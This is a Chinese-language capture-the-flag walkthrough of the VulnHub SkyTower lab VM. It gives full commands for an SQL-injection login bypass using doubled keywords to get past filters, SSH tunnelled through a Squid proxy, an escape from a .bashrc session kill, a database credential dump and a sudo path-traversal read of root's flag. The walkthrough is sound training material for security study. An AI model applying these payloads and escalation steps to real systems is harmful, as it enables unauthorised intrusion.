前言

生活是种律动,须有光有影,有左有右,有晴有雨,还要有一点点热血^_^

靶机的基本信息

名称: SkyTower

发布日期:2014 年 6 月 26 日

作者:Telspace

系列:SkyTower

靶机地址:https://www.vulnhub.com/entry/skytower-1,96/

开始

1.收集目标IP信息

nmap -sn 10.10.10.1/24
image-20210911145030132

确定IP是10.10.10.175,继续深入扫描。

sudo nmap -sV -p 1-65535 -O -A 10.10.10.175
-sV     服务版本信息
-O      操作系统版本
-A      综合扫描
-p      指定扫描端口范围
image-20210911145328667

22端口被过滤了,80和3128是开着的。

2.端口80

先看一下80端口,是一个登录框。

image-20210911145813694

首先想到的是SQL注入,爆破。不过按习惯还是先尝试用dirb,nikto扫描了一下,并没有得到什么有用信息,,

那么测试一下注入,先随便输入一个账户密码(admin : 123)

image-20210911150305421

显示登录失败,再加个引号试试(admin' : 123)

image-20210911150359189

提示语法错误了,看来有戏~~

放到sqlmap跑一下,

sqlmap -u http://10.10.10.175/ --forms --batch

--forms 在目标URL上解析和测试表单。
--batch 批处理,在检测过程中会问用户一些问题,使用这个参数统统使用默认值。
image-20210911152350037

失败了:( 还是手工测试一下吧。

将登录的包用burp抓下来,开始测试。

image-20210911150756273

先尝试用or绕过一下登录的判断,

email=admin' or 1=1#&password=123
image-20210911151231362

提示语法错误了,仔细看报错,我们输入的1=1#变成了11#,等号被过滤了。那么我们将等号替换,重新构造如下语句,

email=admin' or 2>1#&password=123
image-20210911151653664

可以看到">"没有被过滤,但仍然提示有语法错误。猜测可能是将or也过滤了,尝试一下双写绕过,

email=admin' oorr 2>1#&password=123
image-20210911151945145

成功绕过了,放到浏览器查看。

image-20210911155026796

页面给了我们一个ssh用户名和密码(john : hereisjohn)

3.端口22

直接尝试连接ssh,

image-20210911155740237

连接超时了,之前nmap扫描ssh是被过滤的,但是,我们可以利用 SQUID 代理获取使用 proxytunnel 绑定本地端口的 SSH 会话。

proxytunnel -p 10.10.10.175:3128 -d 127.0.0.1:22 -a 6666
image-20210911160137244
ssh 127.0.0.1 -l john -p 6666
image-20210911160315327

刚登陆连接就被关闭了,尝试一下执行命令。

ssh 127.0.0.1 -l john -p 6666 "ls -la"
image-20210911160622583

可以执行命令,查看一下.bashrc的内容,

ssh 127.0.0.1 -l john -p 6666 "cat .bashrc"
image-20210911161231172

应该是管理员编辑了这个用户.bashrc 文件以在连接时终止会话,但是我们可以使用ssh的-t参数来执行应用程序,尝试运行一下shell,

ssh 127.0.0.1 -l john -p 6666 -t "/bin/sh"
image-20210911161555285

成功了(直接把.bashrc文件删除或者重命名也是可以登录ssh的)。

4.提权

我们去网站目录/var/www找找看,

image-20210911161908299

在login.php可以得到数据库用户名和密码。

连接数据库,

mysql -uroot -proot
image-20210911162109356

在数据库查到其余两个用户的用户名和密码。

show databases;
use SkyTech;
show tables;
select * from login;
image-20210911162432251

退出john的账户,以同样的方式登录sara的账户。

用sudo -l命令,可以列出目前用户可执行与无法执行的指令,

image-20210911162949831

可以看到对于”cat /account/*“命令有root权限,借此可以查看root目录下的文件,

sudo cat accounts/../root/flag.txt
image-20210911163547859

flag的内容是root用户的密码:theskytower

切换root用户。

image-20210911163720845

至此,我们成功拿到了flag和root。

总结

这个靶场主要的几个点就是一个SQL注入需要手工绕一下(其实联合查询注入也可以用,and or select 这些关键字都可以用双写绕过,也可以用&& ||替换,然后逗号也是可以用join语句去替换,可以参考这篇文章:SQLi —— 逗号,空格,字段名过滤突破,连接ssh时需要搭建http隧道( 比较菜,没接触过这方面:( ),还有那个.bashrc文件。

参考文章:

Sky Tower 易受攻击的 VM 演练

我爬上了天空塔,但没有长发公主:(

天空塔挑战